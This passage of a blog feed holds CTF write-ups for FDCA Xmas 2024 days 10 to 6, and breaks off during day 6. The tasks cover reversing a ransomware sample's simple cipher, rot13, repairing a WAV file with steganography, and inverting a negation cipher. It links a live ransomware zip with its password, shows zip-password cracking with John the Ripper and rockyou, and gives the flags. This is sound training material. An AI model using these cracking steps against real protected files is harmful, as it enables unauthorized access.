]]></content></item><item><title>FDCA Xmas 2024 Day 10 - The Jotun Lockdown</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-10-the-jotun-lockdown/</link><pubDate>Tue, 24 Dec 2024 15:59:10 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-10-the-jotun-lockdown/</guid><description>Challenge Description Danish (original) Jætterne har forvoldt kaos i Asgaard ved at hacke en vigtig server og krypteret essentielle filer med deres ransomware. De kræver løsepenge for at frigive dem, men heldigvis har de lavet fejl i deres kode, som gør den langt fra uigennemtrængelig.
Under undersøgelsen blev både ransomware-programmet og en krypteret fil fundet.
Advarsel: Ransomware-programmet er live-malware og kan udføre skadelige handlinger. Undersøg det kun i et sikkert og isoleret miljø, eksempelvis en virtuel maskine uden netværksforbindelse.</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>Jætterne har forvoldt kaos i Asgaard ved at hacke en vigtig server og krypteret essentielle filer med deres ransomware. De kræver løsepenge for at frigive dem, men heldigvis har de lavet fejl i deres kode, som gør den langt fra uigennemtrængelig.</p>
<p>Under undersøgelsen blev både ransomware-programmet og en krypteret fil fundet.</p>
<p><strong>Advarsel:</strong> Ransomware-programmet er live-malware og kan udføre skadelige handlinger. Undersøg det kun i et sikkert og isoleret miljø, eksempelvis en virtuel maskine uden netværksforbindelse.</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>The giants have caused chaos in Asgard by hacking an important server and encrypting essential files with their ransomware. They are demanding a ransom to release them, but fortunately, they made mistakes in their code, making it far from impenetrable.</p>
<p>During the investigation, both the ransomware program and an encrypted file were found.</p>
<p><strong>Warning:</strong> The ransomware program is live malware and can perform harmful actions. Only examine it in a secure and isolated environment, such as a virtual machine without a network connection.</p>
<h2 id="file">File</h2>
<p>We are also given the following file:</p>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/Ragnarok.zip">Ragnarok.zip</a></li>
</ul>
<p>Password: <em>infected</em></p>
<h2 id="solution">Solution</h2>
<p>Unzipping the file we get an exe and the encrypted file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ unzip Ragnarok.zip
</span></span><span style="display:flex;"><span>Archive: Ragnarok.zip
</span></span><span style="display:flex;"><span>[Ragnarok.zip] Ragnarok/flag.txt.ragnarok password:
</span></span><span style="display:flex;"><span> extracting: Ragnarok/flag.txt.ragnarok
</span></span><span style="display:flex;"><span>  inflating: Ragnarok/Ragnarok.exe
</span></span></code></pre></div><p>Using <a href="https://cutter.re">cutter</a> I found the following code section in <code>fcn.00401160</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (var_20h <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; (<span style="color:#66d9ef">uint32_t</span>)var_20h <span style="color:#f92672">&lt;</span> var_14h; var_20h <span style="color:#f92672">=</span> var_20h <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">*</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>)(var_18h <span style="color:#f92672">+</span> var_20h) <span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>    (<span style="color:#66d9ef">char</span>)(((<span style="color:#66d9ef">int32_t</span>)<span style="color:#f92672">*</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>)(var_18h <span style="color:#f92672">+</span> var_20h)
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">+</span> (<span style="color:#66d9ef">int32_t</span>)<span style="color:#e6db74">&#34;Jotunheim&#34;</span>[(<span style="color:#66d9ef">uint32_t</span>)var_20h <span style="color:#f92672">%</span> <span style="color:#ae81ff">9</span>]
</span></span><span style="display:flex;"><span>    ) <span style="color:#f92672">%</span> <span style="color:#ae81ff">0x100</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>So doing the inverse gives us the flag:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#39;flag.txt.ragnarok&#39;</span>, <span style="color:#e6db74">&#39;rb&#39;</span>) <span style="color:#66d9ef">as</span> fp:
</span></span><span style="display:flex;"><span>  encflag <span style="color:#f92672">=</span> fp<span style="color:#f92672">.</span>read()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>decflag <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i, c <span style="color:#f92672">in</span> enumerate(encflag):
</span></span><span style="display:flex;"><span>  decflag <span style="color:#f92672">+=</span> ((c <span style="color:#f92672">-</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;Jotunheim&#39;</span>[i <span style="color:#f92672">%</span> <span style="color:#ae81ff">9</span>]) <span style="color:#f92672">%</span> <span style="color:#ae81ff">0x100</span>)<span style="color:#f92672">.</span>to_bytes(<span style="color:#ae81ff">1</span>, <span style="color:#e6db74">&#39;big&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(decflag)
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ python solve.py
</span></span><span style="display:flex;"><span>b&#39;FDCA{n0_r4ns0m_4_j07un}&#39;
</span></span></code></pre></div>]]></content></item><item><title>FDCA Xmas 2024 Day 9 - Thors Digitale Løsning</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-9-thors-digitale-l%C3%B8sning/</link><pubDate>Tue, 24 Dec 2024 15:59:09 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-9-thors-digitale-l%C3%B8sning/</guid><description>Challenge Description Danish (original) Efter Thors debut på sociale medier har han mistet interessen i at styre vejrforholdene i Midgård. Der er simpelthen alt for mange andre ting som han skal tage sig af. Han har derfor valgt at finde en digital løsning og har downloadet et program, som kan hjælpe ham med at bestemme, hvordan vejret skal være på en given dag.
Odin er ikke tilfreds med situationen og har samtidig mistanke om, at jætterne kan være involveret.</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>Efter Thors debut på sociale medier har han mistet interessen i at styre vejrforholdene i Midgård. Der er simpelthen alt for mange andre ting som han skal tage sig af. Han har derfor valgt at finde en digital løsning og har  downloadet et program, som kan hjælpe ham med at bestemme, hvordan vejret skal være på en given dag.</p>
<p>Odin er ikke tilfreds med situationen og har samtidig mistanke om, at jætterne kan være involveret. Derfor har Odin bedt dig undersøge programmet nærmere.</p>
<p>(Der er ingen malware i filen)</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>After Thor&rsquo;s debut on social media, he has lost interest in controlling the weather in Midgard. There are simply too many other things he has to take care of. He has therefore chosen to find a digital solution and has downloaded a program that can help him decide what the weather should be like on a given day.</p>
<p>Odin is not happy with the situation and also suspects that the giants might be involved. Therefore, Odin has asked you to investigate the program further.</p>
<p>(There is no malware in the file.)</p>
<h2 id="file">File</h2>
<p>We are also given the following file:</p>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/WeatherMachine.7z">WeatherMachine.7z</a></li>
</ul>
<h2 id="solution">Solution</h2>
<p>Inside the 7z archive is an exe file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ 7z x WeatherMachine.7z
</span></span><span style="display:flex;"><span>[expunged for readability]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ ls -l WeatherMachine.exe
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 osiriz osiriz 28672 Dec  7 21:41 WeatherMachine.exe
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ file WeatherMachine.exe
</span></span><span style="display:flex;"><span>WeatherMachine.exe: PE32+ executable for MS Windows 6.00 (console), x86-64, 6 sections
</span></span></code></pre></div><p>Running <code>strings</code> I found what something in the form of a flag:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ strings WeatherMachine.exe
</span></span><span style="display:flex;"><span>[expunged for readability]
</span></span><span style="display:flex;"><span>&#34;If at first you don&#39;t succeed, try, try again.&#34;
</span></span><span style="display:flex;"><span>SQPN{XINAGVGRG_E_XINYVGRG}
</span></span><span style="display:flex;"><span>Available moods:
</span></span><span style="display:flex;"><span>[expunged for readability]
</span></span></code></pre></div><p>&ldquo;Decrypting&rdquo; this with rot13, we get: <code>FDCA{KVANTITET_R_KVALITET}</code></p>
]]></content></item><item><title>FDCA Xmas 2024 Day 8 - Odin's hemmelige besked</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-8-odins-hemmelige-besked/</link><pubDate>Tue, 24 Dec 2024 15:59:08 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-8-odins-hemmelige-besked/</guid><description>Challenge Description Danish (original) Heimdall har forsøgt at sende en besked til Odin. Dog er filen kommet i de forkerte hænder og måske har jætterne pillet lidt ved filen. Odin har aldrig modtaget filen. Måske du kan hjælpe med at finde ud af hvorfor filen ikke virker? og hvad er det helt præcist er blevet sendt fra Heimdall til Odin?
English (from chatgpt) Heimdall tried to send a message to Odin.</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>Heimdall har forsøgt at sende en besked til Odin. Dog er filen kommet i de forkerte hænder og måske har jætterne pillet lidt ved filen. Odin har aldrig modtaget filen. Måske du kan hjælpe med at finde ud af hvorfor filen ikke virker? og hvad er det helt præcist er blevet sendt fra Heimdall til Odin?</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>Heimdall tried to send a message to Odin. However, the file ended up in the wrong hands, and maybe the giants have tampered with it a bit. Odin never received the file. Perhaps you can help figure out why the file isn&rsquo;t working? And what exactly was sent from Heimdall to Odin?</p>
<h2 id="file">File</h2>
<p>We are also given the following file:</p>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/heimdallbesked.7z">heimdallbesked.7z</a></li>
</ul>
<h2 id="solution">Solution</h2>
<p>Inside the 7z archive is a wav file, but something is wrong with it:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ 7z x heimdallbesked.7z
</span></span><span style="display:flex;"><span>[expunged for readability]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ ls -l heimdallbesked.wav
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 osiriz osiriz 7329464 Dec  8 01:57 heimdallbesked.wav
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ file heimdallbesked.wav
</span></span><span style="display:flex;"><span>heimdallbesked.wav: data
</span></span></code></pre></div><p>Looking at the header in hex and comparing with <a href="https://en.wikipedia.org/wiki/WAV#WAV_file_header">wikipedia</a>, we can see that the nibbles of each bytes seems to be reversed:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ xxd heimdallbesked.wav | head -n1
</span></span><span style="display:flex;"><span>00000000: 2594 6464 b0d6 6f00 7514 6556 666d 7420  %.dd..o.u.eVfmt
</span></span></code></pre></div><p>So we fix that:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ hexedit heimdall.wav
</span></span><span style="display:flex;"><span>$ xxd heimdallbesked.wav | head -n1
</span></span><span style="display:flex;"><span>00000000: 5249 4646 0b6d f600 5741 5645 666d 7420  RIFF.m..WAVEfmt
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ file heimdallbesked.wav
</span></span><span style="display:flex;"><span>heimdallbesked.wav: RIFF (little endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 44100 Hz
</span></span></code></pre></div><p>The file sounds like morse code so using <a href="https://morsecode.world/international/decoder/audio-decoder-adaptive.html">this Morse Code Adaptive Audio Decoder</a>, we get the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>H E I M D A L L S P R V E D E T A T E S C A N N E G P O R T E N E A T I L N B I F R O S T, O M E N G B L E V R H U R T I G T A B A N N E D P F O R H A T Y L A V E X A L T Y F O R Z M E G E T L A R M+
</span></span></code></pre></div><p>This forms a sentece with some letters inbetween the words.</p>
<p>The sentence:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>heimdall pr[ø]vede at scanne portene til bifrost, men blev hurtigt banned for at lave alt for meget larm.
</span></span></code></pre></div><p>The letters inbetween:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>steganographyxyz
</span></span></code></pre></div><p>This is a hint that the flag is hidden by steganography, so I tried a lot of different ways here, but ended up with <a href="https://github.com/ragibson/Steganography"><code>stegolsb wavsteg</code></a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ stego wavsteg -r -i heimdallbesked.wav -o output.txt -b <span style="color:#ae81ff">30</span>
</span></span><span style="display:flex;"><span>Files read                     in 0.00s
</span></span><span style="display:flex;"><span>Recovered 30 bytes             in 0.00s
</span></span><span style="display:flex;"><span>Written output file            in 0.00s
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ cat output.txt
</span></span><span style="display:flex;"><span>FDCA{Th0r_H4r_3N_S7Or_H4MM3R}
</span></span></code></pre></div>]]></content></item><item><title>FDCA Xmas 2024 Day 7 - Sukkerkolde Cyberkrigere</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-7-sukkerkolde-cyberkrigere/</link><pubDate>Tue, 24 Dec 2024 15:59:07 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-7-sukkerkolde-cyberkrigere/</guid><description>Challenge Description Danish (original) Cyber-Operations Command Centeret er efter flere dages hårdt arbejde gået fuldstændig sukkerkold, så kokken Andrimner finder dokumentet med æbleskivernes lokation frem fra skuffen - men hov! Jætterne har tilsyneladende krypteret teksten!? Heldigvis finder Andrimner krypteringsrunerne, som skurkene i deres hast ud af køkkenets server har tabt i filsystemet.
Kan du dekryptere æbleskiver.runes?
English (from chatgpt) The Cyber-Operations Command Center has gone completely sugar-sweet after several days of hard work, so the chef Andrimner pulls the document with the location of the æbleskivers from the drawer – but wait!</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>Cyber-Operations Command Centeret er efter flere dages hårdt arbejde gået fuldstændig sukkerkold, så kokken Andrimner finder dokumentet med æbleskivernes lokation frem fra skuffen - men hov! Jætterne har tilsyneladende krypteret teksten!? Heldigvis finder Andrimner krypteringsrunerne, som skurkene i deres hast ud af køkkenets server har tabt i filsystemet.</p>
<p>Kan du dekryptere æbleskiver.runes?</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>The Cyber-Operations Command Center has gone completely sugar-sweet after several days of hard work, so the chef Andrimner pulls the document with the location of the æbleskivers from the drawer – but wait! It seems the giants have encrypted the text!? Fortunately, Andrimner finds the encryption runes that the villains hastily dropped in the file system as they rushed out of the kitchen&rsquo;s server.</p>
<p>Can you decrypt æbleskiver.runes?</p>
<h2 id="file">File</h2>
<p>We are also given the following file:</p>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/JettEncrypt.dll_aebleskiver.runes.zip">JettEncrypt.dll_aebleskiver.runes.zip</a></li>
</ul>
<h2 id="solution">Solution</h2>
<p>Unzipping the file we can see that we have a dll file and a file with base64:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ unzip JettEncrypt.dll_aebleskiver.runes.zip
</span></span><span style="display:flex;"><span>Archive:  JettEncrypt.dll_aebleskiver.runes.zip
</span></span><span style="display:flex;"><span>  inflating: æbleskiver.runes
</span></span><span style="display:flex;"><span>  inflating: JettEncrypt.dll
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ cat æbleskiver.runes
</span></span><span style="display:flex;"><span>uru8voW7zNK0zpi4zY3SltOSqsqQzLOXzc6yggAAAAA=
</span></span></code></pre></div><p>Using <a href="https://github.com/icsharpcode/AvaloniaILSpy">AvaloniaILSpy</a> on the dll we can see how the flag was encrypted:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-csharp" data-lang="csharp"><span style="display:flex;"><span><span style="color:#75715e">// JettEncrypt.Encryptor</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">using</span> System;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">using</span> System.Text;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">string</span> encrypt(<span style="color:#66d9ef">string</span> ymir)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">byte</span>[] array = <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">byte</span>[<span style="color:#ae81ff">32</span>];
</span></span><span style="display:flex;"><span>	Array.Copy(Encoding.UTF8.GetBytes(ymir), array, ymir.Length);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">byte</span>[] array2 = <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">byte</span>[<span style="color:#ae81ff">32</span>];
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i = <span style="color:#ae81ff">0</span>; i &lt; <span style="color:#ae81ff">8</span>; i++)
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">byte</span>[] array3 = <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">byte</span>[<span style="color:#ae81ff">4</span>];
</span></span><span style="display:flex;"><span>		Array.Copy(array, i * <span style="color:#ae81ff">4</span>, array3, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">4</span>);
</span></span><span style="display:flex;"><span>		Array.Copy(BitConverter.GetBytes(-BitConverter.ToInt32(array3, <span style="color:#ae81ff">0</span>)), <span style="color:#ae81ff">0</span>, array2, i * <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">4</span>);
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> Convert.ToBase64String(array2);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>So I made the following c-code to reverse it:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stddef.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdint.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;string.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">union</span> Section {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">int32_t</span> i;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">char</span> s[<span style="color:#ae81ff">5</span>];
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>argv[]) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">union</span> Section sections[<span style="color:#ae81ff">8</span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">size_t</span> k <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; k <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">8</span>; k<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">strncpy</span>(sections[k].s, argv[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">+</span> k<span style="color:#f92672">*</span><span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">4</span>);
</span></span><span style="display:flex;"><span>		sections[k].i <span style="color:#f92672">=</span> <span style="color:#f92672">-</span>sections[k].i;
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;%s&#34;</span>, sections[k].s);
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>And ran it as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ gcc solve.c -o solve
</span></span><span style="display:flex;"><span>$ ./solve <span style="color:#66d9ef">$(</span>base64 -d æbleskiver.runes<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>FDCA{D3-L1gG3r-i-mU5p3Lh31M}
</span></span></code></pre></div>]]></content></item><item><title>FDCA Xmas 2024 Day 6 - Hvor lagde du filerne, Thor?</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-6-hvor-lagde-du-filerne-thor/</link><pubDate>Tue, 24 Dec 2024 15:59:06 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-6-hvor-lagde-du-filerne-thor/</guid><description>Challenge Description Danish (original) Vi har modtaget kritisk efterretning fra Asgård: Jætterne har stjålet hemmelige dokumenter fra gudernes arkiver, og de planlægger at bruge informationerne til at ødelægge Yggdrasil én gang for alle. Det eneste spor vi har, er et billede fundet efterladt i en af Jætternes skjulte lejr. Odin mener, at dette billede kan indeholde skjulte data, der kan føre os til de stjålne dokumenter.
Din opgave er at undersøge billedet for skjulte informationer.</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>Vi har modtaget kritisk efterretning fra Asgård: Jætterne har stjålet hemmelige dokumenter fra gudernes arkiver, og de planlægger at bruge informationerne til at ødelægge Yggdrasil én gang for alle. Det eneste spor vi har, er et billede fundet efterladt i en af Jætternes skjulte lejr. Odin mener, at dette billede kan indeholde skjulte data, der kan føre os til de stjålne dokumenter.</p>
<p>Din opgave er at undersøge billedet for skjulte informationer. Kan du finde ud af, hvad Jætterne har gemt? Jætterne har været snedige og sat flere forhindringer på vejen. Held og lykke, for Asgårds skæbne afhænger af dig!</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>We have received critical intelligence from Asgard: The giants have stolen secret documents from the gods&rsquo; archives, and they plan to use the information to destroy Yggdrasil once and for all. The only clue we have is a picture found abandoned in one of the giants&rsquo; hidden camps. Odin believes that this picture may contain hidden data that could lead us to the stolen documents.</p>
<p>Your task is to examine the picture for hidden information. Can you figure out what the giants have concealed? The giants have been clever and placed several obstacles in the way. Good luck, for Asgard&rsquo;s fate depends on you!</p>
<h2 id="file">File</h2>
<p>We are also given the following file:</p>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/Yggdrasil.zip">Yggdrasil.zip</a></li>
</ul>
<h2 id="solution">Solution</h2>
<p>We unzip the file and see that is contains a jpeg image called <code>Yggdrasil.jpeg</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ unzip Yggdrasil.zip
</span></span><span style="display:flex;"><span>Archive: Yggdrasil.zip
</span></span><span style="display:flex;"><span>  inflating: Yggdrasil.jpeg
</span></span></code></pre></div>
    <img src="https://filehost.osiriz.xyz/homepage/img/fdcachristmas2024/Yggdrasil.jpeg"  class="center"  />


<p>Since it is an image <a href="https://steghide.sourceforge.net/"><code>steghide</code></a> with an empty password is nearly always worth trying:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ steghide extract -sf Yggdrasil.jpeg
</span></span><span style="display:flex;"><span>Enter passphrase:
</span></span><span style="display:flex;"><span>wrote extracted data to &#34;SuperHemmeligt.zip&#34;
</span></span></code></pre></div><p><strong>Bingo!</strong></p>
<p>The zip is sadly password protected:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ unzip SuperHemmeligt.zip
</span></span><span style="display:flex;"><span>Archive: SuperHemmeligt.zip
</span></span><span style="display:flex;"><span>   creating: SuperHemmeligt/
</span></span><span style="display:flex;"><span>   creating: SuperHemmeligt/Papirkurven/
</span></span><span style="display:flex;"><span>   creating: SuperHemmeligt/Papirkurven/HemmeligePlaner/
</span></span><span style="display:flex;"><span>[SuperHemmeligt.zip] SuperHemmeligt/Papirkurven/HemmeligePlaner/Key.jpeg password:
</span></span></code></pre></div><p>So lets try and crack it with <a href="https://www.openwall.com/john/">John The Ripper</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ zip2john SuperHemmeligt.zip &gt; hash
</span></span><span style="display:flex;"><span>[expunged for readability]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ john --wordlist<span style="color:#f92672">=</span>rockyou.txt hash
</span></span><span style="display:flex;"><span>Created directory: /home/osiriz/.john
</span></span><span style="display:flex;"><span>[hibari:26592] shmem: mmap: an error occurred while determining whether or not /tmp/ompi.hibari.1000/jf.0/404881408/shared_mem_cuda_pool.hibari could be created.
</span></span><span style="display:flex;"><span>[hibari:26592] create_and_attach: unable to create shared memory BTL coordinating structure :: size 134217728
</span></span><span style="display:flex;"><span>Using default input encoding: UTF-8
</span></span><span style="display:flex;"><span>Loaded 1 password hash (PKZIP [32/64])
</span></span><span style="display:flex;"><span>Will run 8 OpenMP threads
</span></span><span style="display:flex;"><span>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status
</span></span><span style="display:flex;"><span>ragnarok         (SuperHemmeligt.zip)
</span></span><span style="display:flex;"><span>1g 0:00:00:00 DONE (2024-12-06 13:59) 50.00g/s 819200p/s 819200c/s 819200C/s 123456..christal
</span></span><span style="display:flex;"><span>Use the &#34;--show&#34; option to display all of the cracked passwords reliably
</span></span><span style="display:flex;"><span>Session completed
</span></span></code></pre></div><p>We can see that the password is <code>ragnarok</code></p>
